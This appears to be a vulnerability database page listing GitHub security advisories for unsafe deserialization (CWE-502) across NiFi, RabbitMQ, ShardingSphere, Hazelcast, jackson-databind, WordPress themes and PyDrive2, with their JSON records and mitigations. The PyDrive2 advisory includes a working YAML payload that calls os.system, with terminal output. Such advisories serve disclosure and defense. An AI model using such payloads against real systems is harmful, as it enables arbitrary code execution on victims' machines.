Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4798 vulnerabilities reference this CWE, most recent first.

GHSA-V4P2-2W39-MHRJ

Vulnerability from github – Published: 2025-12-19 12:31 – Updated: 2025-12-19 21:45
VLAI
Summary
Apache NiFi GetAsanaObject Processor has Remote Code Execution via Unsafe Deserialization
Details

Apache NiFi 1.20.0 through 2.6.0 include the GetAsanaObject Processor, which requires integration with a configurable Distribute Map Cache Client Service for storing and retrieving state information. The GetAsanaObject Processor used generic Java Object serialization and deserialization without filtering. Unfiltered Java object deserialization does not provide protection against crafted state information stored in the cache server configured for GetAsanaObject. Exploitation requires an Apache NiFi system running with the GetAsanaObject Processor, and direct access to the configured cache server. Upgrading to Apache NiFi 2.7.0 is the recommended mitigation, which replaces Java Object serialization with JSON serialization. Removing the GetAsanaObject Processor located in the nifi-asana-processors-nar bundle also prevents exploitation.

Severity
7.5 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/AU:Y/R:U/V:C/RE:L/U:Green
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.nifi:nifi-asana-processors"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.20.0"
            },
            {
              "fixed": "2.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-19T21:45:09Z",
    "nvd_published_at": "2025-12-19T10:15:48Z",
    "severity": "HIGH"
  },
  "details": "Apache NiFi 1.20.0 through 2.6.0 include the GetAsanaObject Processor, which requires integration with a configurable Distribute Map Cache Client Service for storing and retrieving state information. The GetAsanaObject Processor used generic Java Object serialization and deserialization without filtering. Unfiltered Java object deserialization does not provide protection against crafted state information stored in the cache server configured for GetAsanaObject. Exploitation requires an Apache NiFi system running with the GetAsanaObject Processor, and direct access to the configured cache server. Upgrading to Apache NiFi 2.7.0 is the recommended mitigation, which replaces Java Object serialization with JSON serialization. Removing the GetAsanaObject Processor located in the nifi-asana-processors-nar bundle also prevents exploitation.",
  "id": "GHSA-v4p2-2w39-mhrj",
  "modified": "2025-12-19T21:45:09Z",
  "published": "2025-12-19T12:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/nifi/commit/1c081c15544b8459d69daaae2056f0f433cafce6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/nifi"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/k9h004ydjg7opdvxr0nfywtzf33z60d7"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/12/18/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/AU:Y/R:U/V:C/RE:L/U:Green",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache NiFi GetAsanaObject Processor has Remote Code Execution via Unsafe Deserialization"
}

GHSA-V4PP-GCMM-CV95

Vulnerability from github – Published: 2025-05-23 15:31 – Updated: 2026-04-01 18:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in AncoraThemes Umberto allows Object Injection. This issue affects Umberto: from n/a through 1.2.8.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-31423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-23T13:15:27Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in AncoraThemes Umberto allows Object Injection. This issue affects Umberto: from n/a through 1.2.8.",
  "id": "GHSA-v4pp-gcmm-cv95",
  "modified": "2026-04-01T18:35:13Z",
  "published": "2025-05-23T15:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31423"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/umberto/vulnerability/wordpress-umberto-1-2-8-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V525-C3G5-CG9P

Vulnerability from github – Published: 2021-12-10 17:15 – Updated: 2021-03-15 23:45
VLAI
Summary
Unsafe Deserialization that can Result in Code Execution
Details

JMS Client for RabbitMQ 1.x before 1.15.2 and 2.x before 2.2.0 is vulnerable to unsafe deserialization that can result in code execution via crafted StreamMessage data.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.rabbitmq.jms:rabbitmq-jms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.rabbitmq.jms:rabbitmq-jms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "1.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-36282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-15T23:45:19Z",
    "nvd_published_at": "2021-03-12T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "JMS Client for RabbitMQ 1.x before 1.15.2 and 2.x before 2.2.0 is vulnerable to unsafe deserialization that can result in code execution via crafted StreamMessage data.",
  "id": "GHSA-v525-c3g5-cg9p",
  "modified": "2021-03-15T23:45:19Z",
  "published": "2021-12-10T17:15:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36282"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-jms-client/issues/135"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-jms-client/pull/136/commits/f647e5dbfe055a2ca8cbb16dd70f9d50d888b638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-jms-client/releases/tag/v1.15.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-jms-client/releases/tag/v2.2.0"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@ramon93i7/a99645d0448b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Unsafe Deserialization that can Result in Code Execution"
}

GHSA-V54F-XCMP-43CR

Vulnerability from github – Published: 2022-02-10 20:39 – Updated: 2021-04-26 14:48
VLAI
Summary
Deserialization of Untrusted Data in Apache ShardingSphere
Details

In Apache ShardingSphere(incubator) 4.0.0-RC3 and 4.0.0, the ShardingSphere's web console uses the SnakeYAML library for parsing YAML inputs to load datasource configuration. SnakeYAML allows to unmarshal data to a Java type By using the YAML tag. Unmarshalling untrusted data can lead to security flaws of RCE.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.shardingsphere:shardingsphere"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC3"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-26T14:48:19Z",
    "nvd_published_at": "2020-03-11T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Apache ShardingSphere(incubator) 4.0.0-RC3 and 4.0.0, the ShardingSphere\u0026#39;s web console uses the SnakeYAML library for parsing YAML inputs to load datasource configuration. SnakeYAML allows to unmarshal data to a Java type By using the YAML tag. Unmarshalling untrusted data can lead to security flaws of RCE.",
  "id": "GHSA-v54f-xcmp-43cr",
  "modified": "2021-04-26T14:48:19Z",
  "published": "2022-02-10T20:39:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1947"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4a61a24c119bd820da6fb02100d286f8aae55c8f9b94a346b9bb27d8%40%3Cdev.shardingsphere.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in Apache ShardingSphere"
}

GHSA-V57X-GXFJ-484Q

Vulnerability from github – Published: 2022-01-21 23:25 – Updated: 2022-01-19 16:11
VLAI
Summary
Security Advisory for "Log4Shell"
Details

Impact

A highly critical 0-day exploit (CVE-2021-44228) is found in Apache log4j 2 library on December 9, 2021.

This affects Apache log4j versions from 2.0-beta9 to 2.14.1 (inclusive).

This vulnerability allows a remote attacker to execute code on the server if the system logs an attacker-controlled string value with the attacker's JNDI LDAP server lookup.

Another vulnerability related to the same library, which was discovered on 12/14/2021 (CVE-2021-45046) and revealed another Remote Code Execution vulnerability, has been investigated by Hazelcast team as well and it is found that it does not affect Hazelcast Products under default configurations.

The finding of CVE-2021-45105 on 12/14/2021, which can cause a Denial of Service attack, was investigated by Hazelcast team and it is confirmed that it does not affect Hazelcast Products under default configurations.

The finding of CVE-2021-44832 on 12/28/2021, which is a medium vulnerability, is investigated by our security team as well, and not considered to be as critical. It requires attacker to be able to modify logging configuration, which means attacker can modify the filesystem and/or can already execute arbitrary code which is more of a general security breach rather than something log4j specific.

Note that Hazelcast IMDG and IMDG Enterprise itself is not affected.

However, given version distributions are considered to be vulnerable since related ZIP and TGZ distributions contain a vulnerable Hazelcast Management Center version.

Patches

CVE-2021-44228 is fixed in log4j 2.15.0. CVE-2021-45046 is fixed in log4j 2.16.0. CVE-2021-45105 is fixed in log4j 2.17.0. CVE-2021-44832 is fixed in log4j 2.17.1.

As of 12/21/2021, Hazelcast team has released a new version of all affected products that upgrades log4j to 2.17.0 as listed below: Hazelcast Management Center 4.2021.12-1, Hazelcast Management Center 5.0.4. Hazelcast IMDG and IMDG Enterprise 4.0.5, 4.1.8 and 4.2.4. Hazelcast Jet 4.5.3. Hazelcast Platform 5.0.2.

As of 01/06/2022, Hazelcast Management Center 4.2022.01 with the updated log4j 2.17.1 is released. log4j2.17.1 will be included in Management Center 5.1 that is expected to be released in February.

Hazelcast recommends upgrading to the latest versions available.

Workarounds

For users that an upgrade is not an option, below mitigations can be applied.

Disabling lookups via Environment Variable

Setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true . This option is the easiest to apply for containerized environments.

Disabling lookups in log4j2 configuration

Another good option since there is no need to replace JARs or no need to modify logging configuration file, users who cannot upgrade to 2.17.0 can mitigate the exposure by:

Users of Log4j 2.10 or greater may add -Dlog4j2.formatMsgNoLookups=trueas a command line option or add -Dlog4j2.formatMsgNoLookups=true in a log4j2.component.properties file on the classpath to prevent lookups in log event messages. Users since Log4j 2.7 may specify %m{nolookups} in the PatternLayout configuration to prevent lookups in log event messages. As an example; users deploying Hazelcast Management Center via helm charts can do the following to disable lookups and restart in one command:

helm upgrade <release-name> hazelcast/hazelcast --set mancenter.javaOpts="<javaOpts> -Dlog4j2.formatMsgNoLookups=true"

Where is the release name and is existing java options user has added previously.

Removing the JndiLookup from classpath

Remove the JndiLookup and JndiManager classes from the log4j-core jar. Note that removal of the JndiManager will cause the JndiContextSelector and JMSAppender to no longer function.

References

https://nvd.nist.gov/vuln/detail/CVE-2021-44228 https://nvd.nist.gov/vuln/detail/CVE-2021-45046 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105 https://nvd.nist.gov/vuln/detail/CVE-2021-44832 https://logging.apache.org/log4j/2.x/index.html

For more information

If you have any questions or comments about this advisory: * Open an issue in our repo * Slack us at Hazelcast Community Slack

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hazelcast.jet:hazelcast-jet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1"
            },
            {
              "fixed": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hazelcast:hazelcast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hazelcast:hazelcast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hazelcast:hazelcast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.1"
            },
            {
              "fixed": "4.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hazelcast:hazelcast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2"
            },
            {
              "fixed": "4.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-19T16:11:28Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\nA highly critical 0-day exploit (CVE-2021-44228) is found in Apache log4j 2 library on December 9, 2021.\n\nThis affects Apache log4j versions from 2.0-beta9 to 2.14.1 (inclusive). \n\nThis vulnerability allows a remote attacker to execute code on the server if the system logs an attacker-controlled string value with the attacker\u0027s JNDI LDAP server lookup.\n\nAnother vulnerability related to the same library, which was discovered on 12/14/2021 (CVE-2021-45046) and revealed another Remote Code Execution vulnerability, has been investigated by Hazelcast team as well and it is found that it does not affect Hazelcast Products under default configurations. \n\nThe finding of CVE-2021-45105 on 12/14/2021, which can cause a Denial of Service attack, was investigated by Hazelcast team and it is confirmed that it does not affect Hazelcast Products under default configurations. \n\nThe finding of CVE-2021-44832 on 12/28/2021, which is a medium vulnerability, is investigated by our security team as well, and not considered to be as critical. It requires attacker to be able to modify logging configuration, which means attacker can modify the filesystem and/or can already execute arbitrary code which is more of a general security breach rather than something log4j specific.\n\nNote that Hazelcast IMDG and IMDG Enterprise itself is not affected.\n\nHowever, given version distributions are considered to be vulnerable since related ZIP and TGZ distributions contain a vulnerable Hazelcast Management Center version.\n\n### Patches\nCVE-2021-44228 is fixed in log4j 2.15.0.\nCVE-2021-45046 is fixed in log4j 2.16.0.\nCVE-2021-45105 is fixed in log4j 2.17.0.\nCVE-2021-44832 is fixed in log4j 2.17.1.\n\nAs of 12/21/2021, Hazelcast team has released a new version of all affected products that upgrades log4j to 2.17.0 as listed below: \nHazelcast Management Center 4.2021.12-1, Hazelcast Management Center 5.0.4.\nHazelcast IMDG and IMDG Enterprise 4.0.5, 4.1.8 and 4.2.4.\nHazelcast Jet 4.5.3.\nHazelcast Platform 5.0.2.\n\nAs of 01/06/2022, Hazelcast Management Center 4.2022.01 with the updated log4j 2.17.1 is released. log4j2.17.1 will be included in Management Center 5.1 that is expected to be released in February. \n\nHazelcast recommends upgrading to the latest versions available.\n\n### Workarounds\nFor users that an upgrade is not an option, below mitigations can be applied.\n\n#### Disabling lookups via Environment Variable \nSetting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true .\nThis option is the easiest to apply for containerized environments.\n\n#### Disabling lookups in log4j2 configuration\nAnother good option since there is no need to replace JARs or no need to modify logging configuration file, users who cannot upgrade to 2.17.0 can mitigate the exposure by:\n\nUsers of Log4j 2.10 or greater may add `-Dlog4j2.formatMsgNoLookups=true `as a command line option or add `-Dlog4j2.formatMsgNoLookups=true` in a `log4j2.component.properties` file on the classpath to prevent lookups in log event messages.\nUsers since Log4j 2.7 may specify `%m{nolookups}` in the PatternLayout configuration to prevent lookups in log event messages.\nAs an example; users deploying Hazelcast Management Center via helm charts can do the following to disable lookups and restart in one command:\n\n`helm upgrade \u003crelease-name\u003e hazelcast/hazelcast --set mancenter.javaOpts=\"\u003cjavaOpts\u003e -Dlog4j2.formatMsgNoLookups=true\"`\n\nWhere \u003crelease-name\u003e is the release name and \u003cjavaOpts\u003e is existing java options user has added previously.\n\n#### Removing the JndiLookup from classpath\nRemove the JndiLookup and JndiManager classes from the log4j-core jar. Note that removal of the JndiManager will cause the JndiContextSelector and JMSAppender to no longer function.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-44228\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-45046\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-44832\nhttps://logging.apache.org/log4j/2.x/index.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [our repo](https://github.com/hazelcast/hazelcast)\n* Slack us at [Hazelcast Community Slack](https://slack.hazelcast.com/)\n",
  "id": "GHSA-v57x-gxfj-484q",
  "modified": "2022-01-19T16:11:28Z",
  "published": "2022-01-21T23:25:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hazelcast/hazelcast/security/advisories/GHSA-v57x-gxfj-484q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hazelcast/hazelcast"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Security Advisory for \"Log4Shell\""
}

GHSA-V585-23HC-C647

Vulnerability from github – Published: 2021-11-19 20:13 – Updated: 2023-09-14 15:59
VLAI
Summary
Unsafe Deserialization in jackson-databind
Details

FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.9.10.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-36186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-18T23:16:26Z",
    "nvd_published_at": "2021-01-06T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to `org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource`.",
  "id": "GHSA-v585-23hc-c647",
  "modified": "2023-09-14T15:59:32Z",
  "published": "2021-11-19T20:13:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/issues/2997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/3e8fa3beea49ea62109df9e643c9cb678dabdde1"
    },
    {
      "type": "WEB",
      "url": "https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/04/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210205-0005"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unsafe Deserialization in jackson-databind"
}

GHSA-V5F4-PM7V-CV3F

Vulnerability from github – Published: 2025-06-10 15:30 – Updated: 2026-04-01 18:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in LoftOcean TinySalt allows Object Injection.This issue affects TinySalt: from n/a before 3.10.0.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49455"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T13:15:23Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in LoftOcean TinySalt allows Object Injection.This issue affects TinySalt: from n/a before 3.10.0.",
  "id": "GHSA-v5f4-pm7v-cv3f",
  "modified": "2026-04-01T18:35:26Z",
  "published": "2025-06-10T15:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49455"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/click-pledge-wpjobboard/vulnerability/wordpress-wordpress-wpjobboard-25-03000000-wp6-7-2-jb5-11-4-sql-injection-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/tinysalt/vulnerability/wordpress-tinysalt-3-10-0-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V5F6-HJMF-9MC5

Vulnerability from github – Published: 2023-12-05 23:43 – Updated: 2024-11-22 20:20
VLAI
Summary
PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution
Details

Summary

Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.

Details

The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5

This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121

CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.

https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9

Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

PoC

  1. Create a malicious settings.yaml file:
!!python/object/new:os.system [echo poc]
  1. Initialize a GoogleAuth object .
from pydrive2.auth import GoogleAuth

gauth = GoogleAuth()
  1. Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES  client_secrets.json  CONTRIBUTING.rst  docs  examples  LICENSE  main.py  MANIFEST.in  pydrive2  pyproject.toml  pytest.ini  README.rst  settings.yaml  setup.py  tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py 
from pydrive2.auth import GoogleAuth


gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py 
poc

Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile

Impact

This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PyDrive2"
      },
      "versions": [
        "1.17.0"
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PyDrive2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49297"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-05T23:43:07Z",
    "nvd_published_at": "2023-12-05T21:15:07Z",
    "severity": "LOW"
  },
  "details": "### Summary\nUnsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via `LoadSettingsFile`.\n\n### Details\nThe loader being imported from the `yaml` library is `CLoader`: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5\n\nThis loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121\n\nCLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.\n\nhttps://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9\n\nReference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf\n\n### PoC\n1. Create a malicious `settings.yaml` file:\n\n```yaml\n!!python/object/new:os.system [echo poc]\n```\n2. Initialize a `GoogleAuth` object .\n```python\nfrom pydrive2.auth import GoogleAuth\n\ngauth = GoogleAuth()\n```\n3. Execute the code with the settings file present in your directory. The code inside the file will be executed:\n```\n[evan@ejedev PyDrive2]$ ls\nCHANGES  client_secrets.json  CONTRIBUTING.rst  docs  examples  LICENSE  main.py  MANIFEST.in  pydrive2  pyproject.toml  pytest.ini  README.rst  settings.yaml  setup.py  tox.ini\n[evan@ejedev PyDrive2]$ cat settings.yaml\n!!python/object/new:os.system [echo poc]\n[evan@ejedev PyDrive2]$ cat main.py \nfrom pydrive2.auth import GoogleAuth\n\n\ngauth = GoogleAuth()\n[evan@ejedev PyDrive2]$ python3 main.py \npoc\n```\nAlternatively, the file can be loaded in directly via `pydrive2.settings.LoadSettingsFile` \n\n### Impact\nThis is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious `yaml` file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk. ",
  "id": "GHSA-v5f6-hjmf-9mc5",
  "modified": "2024-11-22T20:20:57Z",
  "published": "2023-12-05T23:43:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/iterative/PyDrive2/security/advisories/GHSA-v5f6-hjmf-9mc5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49297"
    },
    {
      "type": "WEB",
      "url": "https://github.com/iterative/PyDrive2/commit/c57355dc2033ad90b7050d681b2c3ba548ff0004"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/iterative/PyDrive2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pydrive2/PYSEC-2023-291.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CYR5SJKOFSSXFV3E3D2SLXBUBA5WMJJG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K34YWTDKBAYWZPOAKBYDM72WIFL5CAYW"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyDrive2\u0027s unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution"
}

